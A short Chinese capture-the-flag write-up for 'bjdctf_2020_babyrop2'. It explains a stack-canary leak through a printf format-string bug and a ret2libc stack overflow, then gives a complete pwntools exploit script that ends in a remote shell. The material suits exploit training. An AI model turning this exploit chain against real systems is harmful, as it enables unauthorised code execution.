bjdctf_2020_babyrop2
canary

好的伪代码

主函数就是把三个子函数列一起没什么讲的
看第一个

这里就是问你,你可以ret2libc吗?没什么特别的利用点
readfsqword(0x28u);
readfsqword(0x28u) ^ v0;
这两个就是canary的标志。

第二个函数
有一个格式化字符串漏洞,printf嘛。然后有个scanf输入,但是只能读6个字节,那算偏移量只能一个一个算,才可以把canary找出来。

这里是在第六个位置找到了,但是是最后面,canary的偏移为7.

最后一个函数,就是栈溢出点嘛,用libc去打就好了
点击查看代码
from pwn import *
from LibcSearcher import *
#io=process("./bjdctf_2020_babyrop2")
io=remote("node4.buuoj.cn",29282)
elf=ELF("./bjdctf_2020_babyrop2")
rdi_addr=0x400993
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln=elf.sym['vuln']
payload="%7$p"
io.sendlineafter("I'll give u some gift to help u!",payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
payload='a'*(0x20-0x8)+p64(canary)+'a'*0x8+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendafter('Pull up your sword and tell me u story!',payload)
io.recv()
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
libc=ELF("./libc-2.23.so")
libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
bin_addr=libc_base+libc.search("/bin/sh\x00").next()
io.recvuntil('Pull up your sword and tell me u story!')
payload='a'*(0x20-0x8)+p64(canary)+'a'*0x8+p64(rdi_addr)+p64(bin_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号